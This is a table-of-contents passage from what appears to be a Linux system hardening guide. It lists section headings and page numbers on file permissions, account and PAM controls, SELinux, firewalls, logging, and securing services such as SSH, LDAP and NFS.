2.2.1.4 Bind-mount /var/tmp to /tmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 2.2.2 Restrict Dynamic Mounting and Unmounting of Filesystems . . . . . . . . . . . . . . . . 27 2.2.2.1 Restrict Console Device Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 2.2.2.2 Disable USB Device Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 4 TABLE OF CONTENTS 2.2.2.3 Disable the Automounter if Possible . . . . . . . . . . . . . . . . . . . . . . . . . 28 2.2.2.4 Disable GNOME Automounting if Possible . . . . . . . . . . . . . . . . . . . . . 29 2.2.2.5 Disable Mounting of Uncommon Filesystem Types . . . . . . . . . . . . . . . . . 29 2.2.2.6 Disable All GNOME Thumbnailers if Possible . . . . . . . . . . . . . . . . . . . 30 2.2.3 Verify Permissions on Important Files and Directories . . . . . . . . . . . . . . . . . . . . 30 2.2.3.1 Verify Permissions on passwd, shadow, group and gshadow Files . . . . . . . . . 30 2.2.3.2 Verify that All World-Writable Directories Have Sticky Bits Set . . . . . . . . . 31 2.2.3.3 Find Unauthorized World-Writable Files . . . . . . . . . . . . . . . . . . . . . . 31 2.2.3.4 Find Unauthorized SUID/SGID System Executables . . . . . . . . . . . . . . . . 31 2.2.3.5 Find and Repair Unowned Files . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 2.2.3.6 Verify that All World-Writable Directories Have Proper Ownership . . . . . . . 33 2.2.4 Restrict Programs from Dangerous Execution Patterns . . . . . . . . . . . . . . . . . . . . 33 2.2.4.1 Set Daemon umask . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 2.2.4.2 Disable Core Dumps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 2.2.4.3 Enable ExecShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 2.2.4.4 Enable Execute Disable (XD) or No Execute (NX) Support on 32-bit x86 Systems 35 2.2.4.5 Configure Prelink . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 2.3 Account and Access Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 2.3.1 Protect Accounts by Restricting Password-Based Login . . . . . . . . . . . . . . . . . . . 37 2.3.1.1 Restrict Root Logins to System Console . . . . . . . . . . . . . . . . . . . . . . . 37 2.3.1.2 Limit su Access to the Root Account . . . . . . . . . . . . . . . . . . . . . . . . 38 2.3.1.3 Configure sudo to Improve Auditing of Root Access . . . . . . . . . . . . . . . . 39 2.3.1.4 Block Shell and Login Access for Non-Root System Accounts . . . . . . . . . . . 39 2.3.1.5 Verify Proper Storage and Existence of Password Hashes . . . . . . . . . . . . . 40 2.3.1.6 Verify that No Non-Root Accounts Have UID 0 . . . . . . . . . . . . . . . . . . 40 2.3.1.7 Set Password Expiration Parameters . . . . . . . . . . . . . . . . . . . . . . . . . 41 2.3.1.8 Remove Legacy ’+’ Entries from Password Files . . . . . . . . . . . . . . . . . . 42 2.3.2 Use Unix Groups to Enhance Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 2.3.2.1 Create a Unique Default Group for Each User . . . . . . . . . . . . . . . . . . . 42 2.3.2.2 Create and Maintain a Group Containing All Human Users . . . . . . . . . . . . 42 2.3.3 Protect Accounts by Configuring PAM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 2.3.3.1 Set Password Quality Requirements . . . . . . . . . . . . . . . . . . . . . . . . . 43 2.3.3.2 Set Lockouts for Failed Password Attempts . . . . . . . . . . . . . . . . . . . . . 44 2.3.3.3 Use pam deny.so to Quickly Deny Access to a Service . . . . . . . . . . . . . . . 45 2.3.3.4 Restrict Execution of userhelper to Console Users . . . . . . . . . . . . . . . . 45 2.3.3.5 Upgrade Password Hashing Algorithm to SHA-512 . . . . . . . . . . . . . . . . . 46 2.3.3.6 Limit Password Reuse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 2.3.3.7 Remove the pam ccreds Package if Possible . . . . . . . . . . . . . . . . . . . . . 47 2.3.4 Secure Session Configuration Files for Login Accounts . . . . . . . . . . . . . . . . . . . . 47 2.3.4.1 Ensure that No Dangerous Directories Exist in Root’s Path . . . . . . . . . . . . 47 2.3.4.2 Ensure that User Home Directories are not Group-Writable or World-Readable . 48 2.3.4.3 Ensure that User Dot-Files are not World-writable . . . . . . . . . . . . . . . . . 48 2.3.4.4 Ensure that Users Have Sensible Umask Values . . . . . . . . . . . . . . . . . . . 49 2.3.4.5 Ensure that Users do not Have .netrc Files . . . . . . . . . . . . . . . . . . . . 49 2.3.5 Protect Physical Console Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 2.3.5.1 Set BIOS Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 2.3.5.2 Set Boot Loader Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 2.3.5.3 Require Authentication for Single-User Mode . . . . . . . . . . . . . . . . . . . . 50 2.3.5.4 Disable Interactive Boot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 2.3.5.5 Implement Inactivity Time-out for Login Shells . . . . . . . . . . . . . . . . . . . 51 2.3.5.6 Configure Screen Locking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 2.3.5.7 Disable Unnecessary Ports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 TABLE OF CONTENTS 5 2.3.6 Use a Centralized Authentication Service . . . . . . . . . . . . . . . . . . . . . . . . . . . 53 2.3.7 Warning Banners for System Accesses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 2.3.7.1 Modify the System Login Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 54 2.3.7.2 Implement a GUI Warning Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 54 2.4 SELinux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 2.4.1 How SELinux Works . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 2.4.2 Enable SELinux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 2.4.2.1 Ensure SELinux is Properly Enabled . . . . . . . . . . . . . . . . . . . . . . . . 56 2.4.3 Disable Unnecessary SELinux Daemons . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 2.4.3.1 Disable and Remove SETroubleshoot if Possible . . . . . . . . . . . . . . . . . . 57 2.4.3.2 Disable MCS Translation Service (mcstrans) if Possible . . . . . . . . . . . . . . 57 2.4.3.3 Restorecon Service (restorecond) . . . . . . . . . . . . . . . . . . . . . . . . . . 58 2.4.4 Check for Unconfined Daemons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 2.4.5 Check for Unlabeled Device Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 2.4.6 Debugging SELinux Policy Errors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 2.4.7 Further Strengthening . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 2.4.7.1 Strengthen the Default SELinux Boolean Configuration . . . . . . . . . . . . . . 61 2.4.7.2 Use a Stronger Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 2.4.8 SELinux References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 2.5 Network Configuration and Firewalls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 2.5.1 Kernel Parameters which Affect Networking . . . . . . . . . . . . . . . . . . . . . . . . . . 62 2.5.1.1 Network Parameters for Hosts Only . . . . . . . . . . . . . . . . . . . . . . . . . 62 2.5.1.2 Network Parameters for Hosts and Routers . . . . . . . . . . . . . . . . . . . . . 63 2.5.1.3 Ensure System is Not Acting as a Network Sniffer . . . . . . . . . . . . . . . . . 63 2.5.2 Wireless Networking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64 2.5.2.1 Remove Wireless Hardware if Possible . . . . . . . . . . . . . . . . . . . . . . . . 64 2.5.2.2 Disable Wireless Through Software Configuration . . . . . . . . . . . . . . . . . 64 2.5.3 IPv6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 2.5.3.1 Disable Support for IPv6 unless Needed . . . . . . . . . . . . . . . . . . . . . . . 65 2.5.3.2 Configure IPv6 Settings if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . 66 2.5.4 TCP Wrapper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 2.5.4.1 How TCP Wrapper Protects Services . . . . . . . . . . . . . . . . . . . . . . . . 68 2.5.4.2 Reject All Connections From Other Hosts if Appropriate . . . . . . . . . . . . . 69 2.5.4.3 Allow Connections Only From Hosts in This Domain if Appropriate . . . . . . . 69 2.5.4.4 Monitor Syslog for Relevant Connections and Failures . . . . . . . . . . . . . . . 69 2.5.4.5 Further Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 2.5.5 Iptables and Ip6tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 2.5.5.1 Inspect and Activate Default Rules . . . . . . . . . . . . . . . . . . . . . . . . . 70 2.5.5.2 Understand the Default Ruleset . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 2.5.5.3 Strengthen the Default Ruleset . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 2.5.5.4 Further Strengthening . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 2.5.5.5 Further Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 2.5.6 Secure Sockets Layer Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 2.5.6.1 Create a CA to Sign Certificates . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 2.5.6.2 Create SSL Certificates for Servers . . . . . . . . . . . . . . . . . . . . . . . . . . 77 2.5.6.3 Enable Client Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 2.5.6.4 Further Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 2.5.7 Uncommon Network Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 2.5.7.1 Disable Support for DCCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79 2.5.7.2 Disable Support for SCTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 2.5.7.3 Disable Support for RDS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 2.5.7.4 Disable Support for TIPC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 6 TABLE OF CONTENTS 2.5.8 IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 2.5.8.1 Using Openswan for IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 2.6 Logging and Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 2.6.1 Configure Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 2.6.1.1 Configure Syslog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 2.6.1.2 Configure Rsyslog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84 2.6.1.3 Logrotate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85 2.6.1.4 Logwatch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86 2.6.2 System Accounting with auditd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 2.6.2.1 Enable the auditd Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 2.6.2.2 Configure auditd Data Retention . . . . . . . . . . . . . . . . . . . . . . . . . . 88 2.6.2.3 Enable Auditing for Processes Which Start Prior to the Audit Daemon . . . . . 89 2.6.2.4 Configure auditd Rules for Comprehensive Auditing . . . . . . . . . . . . . . . 89 2.6.2.5 Summarize and Review Audit Logs using aureport . . . . . . . . . . . . . . . . 93 3 Services 95 3.1 Disable All Unneeded Services at Boot Time . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 3.1.1 Determine which Services are Enabled at Boot . . . . . . . . . . . . . . . . . . . . . . . . 95 3.1.2 Guidance on Default Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 3.1.3 Guidance for Unfamiliar Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96 3.2 Obsolete Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 3.2.1 Inetd and Xinetd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 3.2.2 Telnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 3.2.2.1 Remove Telnet Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 3.2.3 Rlogin, Rsh, and Rcp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98 3.2.3.1 Remove the Rsh Server Commands from the System . . . . . . . . . . . . . . . . 98 3.2.3.2 Remove .rhosts Support from PAM Configuration Files . . . . . . . . . . . . . 98 3.2.3.3 Remove the Rsh Client Commands from the System . . . . . . . . . . . . . . . . 98 3.2.4 NIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 3.2.5 TFTP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 3.2.6 Talk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 3.2.6.1 Remove talk-server Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 3.2.6.2 Remove talk Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 3.3 Base Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 3.3.1 Installation Helper Service (firstboot) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 3.3.2 Console Mouse Service (gpm) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 3.3.3 Interrupt Distribution on Multiprocessor Systems (irqbalance) . . . . . . . . . . . . . . 100 3.3.4 ISDN Support (isdn) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101 3.3.4.1 Remove the isdn4k-utils Package if Possible . . . . . . . . . . . . . . . . . . . . . 101 3.3.5 Kdump Kernel Crash Analyzer (kdump) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101 3.3.6 Kudzu Hardware Probing Utility (kudzu) . . . . . . . . . . . . . . . . . . . . . . . . . . . 101 3.3.7 Software RAID Monitor (mdmonitor) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 3.3.8 IA32 Microcode Utility (microcode ctl) . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 3.3.9 Network Service (network) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 3.3.9.1 Disable All Networking if Not Needed . . . . . . . . . . . . . . . . . . . . . . . . 102 3.3.9.2 Disable All External Network Interfaces if Not Needed . . . . . . . . . . . . . . 102 3.3.9.3 Disable Zeroconf Networking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103 3.3.10 Smart Card Support (pcscd) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103 3.3.11 SMART Disk Monitoring Support (smartd) . . . . . . . . . . . . . . . . . . . . . . . . . . 103 3.3.12 Boot Caching (readahead early/readahead later) . . . . . . . . . . . . . . . . . . . . . 103 3.3.13 Application Support Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 3.3.13.1 D-Bus IPC Service (messagebus) . . . . . . . . . . . . . . . . . . . . . . . . . . 104 TABLE OF CONTENTS 7 3.3.13.2 HAL Daemon (haldaemon) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 3.3.14 Bluetooth Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 3.3.14.1 Bluetooth Host Controller Interface Daemon (bluetooth) . . . . . . . . . . . . . 105 3.3.14.2 Bluetooth Input Devices (hidd) . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 3.3.14.3 Disable Bluetooth Kernel Modules . . . . . . . . . . . . . . . . . . . . . . . . . . 106 3.3.15 Power Management Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106 3.3.15.1 Advanced Power Management Subsystem (apmd) . . . . . . . . . . . . . . . . . . 106 3.3.15.2 Advanced Configuration and Power Interface (acpid) . . . . . . . . . . . . . . . 106 3.3.15.3 CPU Throttling (cpuspeed) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.3.16 Infrared Communications (irda) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.3.16.1 Disable the irda Service if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.3.16.2 Remove the irda-utils Package if Possible . . . . . . . . . . . . . . . . . . . . . . 107 3.3.17 Raw Devices (rawdevices) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.3.17.1 Disable the Raw Devices Daemon if Possible . . . . . . . . . . . . . . . . . . . . 107 3.4 Cron and At Daemons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 3.4.1 Disable anacron if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108 3.4.2 Restrict Permissions on Files Used by cron . . . . . . . . . . . . . . . . . . . . . . . . . . 108 3.4.3 Disable at if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 3.4.4 Restrict at and cron to Authorized Users . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 3.5 SSH Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 3.5.1 Disable OpenSSH Server if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 3.5.1.1 Disable and Remove OpenSSH Software . . . . . . . . . . . . . . . . . . . . . . . 110 3.5.1.2 Remove SSH Server iptables Firewall Exception . . . . . . . . . . . . . . . . . 110 3.5.2 Configure OpenSSH Server if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 3.5.2.1 Ensure Only Protocol 2 Connections Allowed . . . . . . . . . . . . . . . . . . . . 110 3.5.2.2 Limit Users’ SSH Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 3.5.2.3 Set Idle Timeout Interval for User Logins . . . . . . . . . . . . . . . . . . . . . . 111 3.5.2.4 Disable .rhosts Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 3.5.2.5 Disable Host-Based Authentication . . . . . . . . . . . . . . . . . . . . . . . . . 111 3.5.2.6 Disable root Login via SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 3.5.2.7 Disable Empty Passwords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 3.5.2.8 Enable a Warning Banner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 3.5.2.9 Do Not Allow Users to Set Environment Options . . . . . . . . . . . . . . . . . . 112 3.5.2.10 Use Only Approved Ciphers in Counter Mode . . . . . . . . . . . . . . . . . . . 112 3.5.2.11 Strengthen Firewall Configuration if Possible . . . . . . . . . . . . . . . . . . . . 113 3.6 X Window System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 3.6.1 Disable X Windows if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 3.6.1.1 Disable X Windows at System Boot . . . . . . . . . . . . . . . . . . . . . . . . . 113 3.6.1.2 Remove X Windows from the System if Possible . . . . . . . . . . . . . . . . . . 113 3.6.1.3 Lock Down X Windows startx Configuration if Necessary . . . . . . . . . . . . 114 3.6.2 Configure X Windows if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114 3.6.2.1 Create Warning Banners for GUI Login Users . . . . . . . . . . . . . . . . . . . 115 3.7 Avahi Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 3.7.1 Disable Avahi Server if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 3.7.1.1 Disable Avahi Server Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 3.7.1.2 Remove Avahi Server iptables Firewall Exception . . . . . . . . . . . . . . . . 115 3.7.2 Configure Avahi if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 3.7.2.1 Serve Only via Required Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . 116 3.7.2.2 Check Responses’ TTL Field . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 3.7.2.3 Prevent Other Programs from Using Avahi’s Port . . . . . . . . . . . . . . . . . 116 3.7.2.4 Disable Publishing if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 3.7.2.5 Restrict Published Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 8 TABLE OF CONTENTS 3.8 Print Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 3.8.1 Disable the CUPS Service if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 3.8.2 Disable Firewall Access to Printing Service if Possible . . . . . . . . . . . . . . . . . . . . 118 3.8.3 Configure the CUPS Service if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 3.8.3.1 Limit Printer Browsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 3.8.3.2 Disable Print Server Capabilities if Possible . . . . . . . . . . . . . . . . . . . . . 119 3.8.3.3 Limit Access to the Web Administration Interface . . . . . . . . . . . . . . . . . 120 3.8.3.4 Take Further Security Measures When Appropriate . . . . . . . . . . . . . . . . 120 3.8.4 The HP Linux Imaging and Printing (HPLIP) Toolkit . . . . . . . . . . . . . . . . . . . . 120 3.8.4.1 Disable HPLIP Service if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . 121 3.9 DHCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 3.9.1 Disable DHCP Client if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 3.9.2 Configure DHCP Client if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122 3.9.2.1 Minimize the DHCP-Configured Options . . . . . . . . . . . . . . . . . . . . . . 122 3.9.3 Disable DHCP Server if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 3.9.4 Configure the DHCP Server if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 3.9.4.1 Do Not Use Dynamic DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 3.9.4.2 Deny Decline Messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 3.9.4.3 Deny BOOTP Queries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 3.9.4.4 Minimize Served Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 3.9.4.5 Configure Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 3.9.4.6 Further Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 3.10 Network Time Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 3.10.1 Select NTP Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 3.10.2 Configure Reference NTP if Appropriate . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126 3.10.2.1 Configure an NTP Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126 3.10.2.2 Configure an NTP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127 3.10.3 Configure OpenNTPD if Appropriate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 3.10.3.1 Obtain NTP Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 3.10.3.2 Configure an SNTP Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 3.10.3.3 Configure an SNTP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 3.11 Mail Transfer Agent . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130 3.11.1 Select Mail Server Software and Configuration . . . . . . . . . . . . . . . . . . . . . . . . 130 3.11.1.1 Select Postfix as Mail Server Software . . . . . . . . . . . . . . . . . . . . . . . . 131 3.11.1.2 Select Sendmail as Mail Server Software . . . . . . . . . . . . . . . . . . . . . . . 131 3.11.2 Configure SMTP For Mail Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132 3.11.2.1 Configure Postfix for Submission-Only Mode . . . . . . . . . . . . . . . . . . . . 132 3.11.2.2 Configure Sendmail for Submission-Only Mode . . . . . . . . . . . . . . . . . . . 132 3.11.3 Strategies for MTA Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 3.11.3.1 Use Resource Limits to Mitigate Denial of Service . . . . . . . . . . . . . . . . . 133 3.11.3.2 Configure SMTP Greeting Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 133 3.11.3.3 Control Mail Relaying . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 3.11.4 Configure Operating System to Protect Mail Server . . . . . . . . . . . . . . . . . . . . . 134 3.11.4.1 Use Separate Hosts for External and Internal Mail if Possible . . . . . . . . . . . 134 3.11.4.2 Protect the MTA Host from User Access . . . . . . . . . . . . . . . . . . . . . . 134 3.11.4.3 Restrict Remote Access to the Mail Spool . . . . . . . . . . . . . . . . . . . . . . 134 3.11.4.4 Configure iptables to Allow Access to the Mail Server . . . . . . . . . . . . . . 135 3.11.4.5 Verify System Logging and Log Permissions for Mail . . . . . . . . . . . . . . . . 135 3.11.4.6 Configure SSL Certificates for Use with SMTP AUTH . . . . . . . . . . . . . . . 135 3.11.5 Configure Sendmail Server if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 3.11.5.1 Limit Denial of Service Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 3.11.5.2 Configure SMTP Greeting Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 137 TABLE OF CONTENTS 9 3.11.5.3 Control Mail Relaying . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 3.11.6 Configure Postfix if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139 3.11.6.1 Limit Denial of Service Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139 3.11.6.2 Configure SMTP Greeting Banner . . . . . . . . . . . . . . . . . . . . . . . . . . 140 3.11.6.3 Control Mail Relaying . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140 3.11.6.4 Require TLS for SMTP AUTH . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 3.12 LDAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 3.12.1 Use OpenLDAP to Provide LDAP Service if Possible . . . . . . . . . . . . . . . . . . . . . 143 3.12.2 Configure OpenLDAP Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143 3.12.2.1 Configure the Appropriate LDAP Parameters for the Domain . . . . . . . . . . . 143 3.12.2.2 Configure LDAP to Use TLS for All Transactions . . . . . . . . . . . . . . . . . 143 3.12.2.3 Configure Authentication Services to Use OpenLDAP . . . . . . . . . . . . . . . 144 3.12.3 Configure OpenLDAP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 3.12.3.1 Install OpenLDAP Server RPM . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 3.12.3.2 Configure Domain-Specific Parameters . . . . . . . . . . . . . . . . . . . . . . . 145 3.12.3.3 Configure an LDAP Root Password . . . . . . . . . . . . . . . . . . . . . . . . . 145 3.12.3.4 Configure the LDAP Server to Require TLS for All Transactions . . . . . . . . . 146 3.12.3.5 Install Account Information into the LDAP Database . . . . . . . . . . . . . . . 148 3.12.3.6 Configure slapd to Protect Authentication Information . . . . . . . . . . . . . . 150 3.12.3.7 Correct Permissions on LDAP Server Files . . . . . . . . . . . . . . . . . . . . . 151 3.12.3.8 Configure iptables to Allow Access to the LDAP Server . . . . . . . . . . . . . 151 3.12.3.9 Configure Logging for LDAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151 3.13 NFS and RPC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152 3.13.1 Disable All NFS Services if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152 3.13.1.1 Disable Services Used Only by NFS . . . . . . . . . . . . . . . . . . . . . . . . . 152 3.13.1.2 Disable netfs if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153 3.13.1.3 Disable RPC Portmapper if Possible . . . . . . . . . . . . . . . . . . . . . . . . . 153 3.13.2 Configure All Machines which Use NFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154 3.13.2.1 Make Each Machine a Client or a Server, not Both . . . . . . . . . . . . . . . . . 154 3.13.2.2 Restrict Access to the Portmapper . . . . . . . . . . . . . . . . . . . . . . . . . . 154 3.13.2.3 Configure NFS Services to Use Fixed Ports . . . . . . . . . . . . . . . . . . . . . 154 3.13.3 Configure NFS Clients . . . . . . . . . . . . . . . . . . . . 